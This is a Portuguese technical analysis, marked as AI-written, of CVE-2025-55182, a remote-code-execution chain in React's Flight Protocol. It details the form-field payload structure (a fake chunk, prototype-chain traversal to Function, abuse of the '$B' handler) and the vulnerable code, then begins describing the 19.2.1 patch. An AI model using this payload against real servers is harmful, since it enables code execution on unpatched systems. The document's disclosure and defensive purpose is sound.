Prova de conceito técnica e análise aprofundada da CVE-2025-55182, uma vulnerabilidade crítica de RCE no Flight Protocol do React por meio de path traversal, injeção de chunks falsos e abuso do manipulador $B.
NOTA: Escrito por IA/Claude
https://github.com/ejpir/CVE-2025-55182-bypass
CVE-2025-55182 é uma vulnerabilidade crítica de RCE no Protocolo Flight do React. O ataque encadeia path traversal + injeção de chunk falsa + abuso do manipulador $B para executar Function(código_do_atacante).
Muito obrigado a maple3142 pela cadeia de exploração funcional!
O exploit usa três campos de formulário para construir um payload malicioso:
then autorreferente (campo 1 $@0 → campo 0)_response falso com _formData.get definido como $1:constructor:constructor$B que chama response._formData.get(response._prefix + id)_formData.get → Function, executando Function(code)┌─────────────────────────────────────────────────────────────────────┐ │ 1. Attacker sends multipart form with fake chunk object │ │ → decodeReply() parses form fields 0, 1, 2 │ │ → Object has: then, status, value, _response │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 2. Self-reference makes object thenable with real function │ │ → then: "$1:proto:then" → Chunk.prototype.then │ │ → Chunk.prototype.then(this) calls initializeModelChunk(this) │ │ → Uses this._response (attacker's fake _response) │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 3. parseModelString() handles "$B1337" reference │ │ → case "B": return response._formData.get(response._prefix+id) │ │ → Calls _formData.get with attacker's _prefix + "1337" │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 4. getOutlinedModel() resolves _formData.get (lazy evaluation): │ │ → "$1:constructor:constructor" traverses prototype chain │ │ → Returns Function constructor │ │ → Function(code + "1337") → RCE │ └─────────────────────────────────────────────────────────────────────┘
### Componentes Principais
| Componente | Propósito |
|-----------|-----------|
| `then: "$1:__proto__:then"` | Thenable autorreferente; o chunk 1 (`$@0`) aponta de volta para o chunk 0 |
| `status: "resolved_model"` | Faz o objeto parecer um chunk React válido |
| `reason: -1` | Define rootReference como undefined (evita conflitos de referência) |
| `value: '{"then":"$B1337"}'` | Payload aninhado que aciona o manipulador `$B` |
| `_response._prefix` | Contém a string de código RCE |
| `_response._chunks: "$Q2"` | Map vazio para evitar travamentos durante o processamento de chunks |
| `_response._formData.get` | Aponta para Function via `$1:constructor:constructor` |
### Análise Aprofundada dos Componentes
#### Estrutura do Campo do Formulário
O exploit usa três campos de formulário com referências circulares:```
Field 0: {"then":"$1:__proto__:then", "status":"resolved_model", ...}
Field 1: "$@0" ← references back to field 0
Field 2: [] ← empty array for _chunks Map
then)O then: "$1:__proto__:then" cria uma auto-referência que resolve para uma função real:```
$1:proto:then
↓
$1 → chunk 1 → "$@0" → getChunk(0) → Chunk object
↓
Chunk.proto.then → Chunk.prototype.then (actual function!)
**Por que isso é crítico:**
1. `then` se resolve para `Chunk.prototype.then` - uma função chamável real
2. Isso faz do objeto falso um thenable válido
3. Quando usado com await, JS chama `obj.then(resolve, reject)`
4. `Chunk.prototype.then` executa com o objeto falso como `this`:```javascript
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) { // this.status = "resolved_model" ✓
case "resolved_model":
initializeModelChunk(this); // fake object passed!
initializeModelChunk(this) usa this._response - o _response falso do atacante:```javascript
value = reviveModel(
chunk._response, // ← attacker's fake _response!
...
);**Sem a autoreferência**, o falso `_response` nunca seria usado. A autoreferência faz com que `Chunk.prototype.then` trate o objeto do atacante como um Chunk real.
#### Gatilho Thenable de Dois Estágios (`value`)
O campo `value` contém uma string JSON aninhada com outro thenable:```json
{"then":"$B1337"}
Estágio 1: O then autorreferencial do objeto externo aciona o processamento de chunk
Estágio 2: Quando o React resolve o modelo, ele analisa value e encontra outro thenable com then: "$B1337". O prefixo $B aciona o manipulador:```javascript
case "B":
return response._formData.get(response._prefix + obj); // obj = "1337"
`_formData.get` é `"$1:constructor:constructor"` → `getOutlinedModel()` resolve para `Function`.
Isso se torna: `Function(code + "1337")` → JS válido porque `1337` é apenas uma expressão final.
#### Padding Defensivo (`_chunks`)
O falso `_response` precisa de uma propriedade `_chunks` válida para evitar falhas:```
Form field "2": [] ← empty array
_chunks: "$Q2" ← $Q = Map type, creates new Map([])
O código interno do React pode acessar response._chunks.get() ou response._chunks.has() durante o processamento. Um Map vazio satisfaz essas chamadas sem erros, permitindo que a execução alcance o manipulador $B vulnerável.
| Caminho | Função | Propósito no Exploit |
|---|---|---|
| Path Traversal | getOutlinedModel() | Resolve $1:constructor:constructor → Function |
Injeção de _response Falso | initializeModelChunk() | Usa o chunk._response do atacante |
Manipulador $B | parseModelString() | Chama _formData.get(_prefix + id) → RCE |
decodeReply() é o ponto de entrada, não vulnerável por si só.
Path Traversal (getOutlinedModel()):```javascript
for (key = 1; key < reference.length; key++)
parentObject = parentObject[reference[key]]; // No validation!
**Uso de Resposta Falsa** (`initializeModelChunk()`):```javascript
value = reviveModel(
chunk._response, // Uses chunk._response directly!
{ "": rawModel },
...
);
$B Manipulador RCE (parseModelString()):```javascript
case "B":
return response._formData.get(response._prefix + obj); // RCE!
---
## A Correção (19.2.1)
O patch inclui múltiplas correções:
1. **`RESPONSE_SYMBOL` em `initializeModelChunk()`** - Correção crítica ```javascript
// BEFORE: chunk._response (attacker can set via JSON)
value = reviveModel(chunk._response, ...);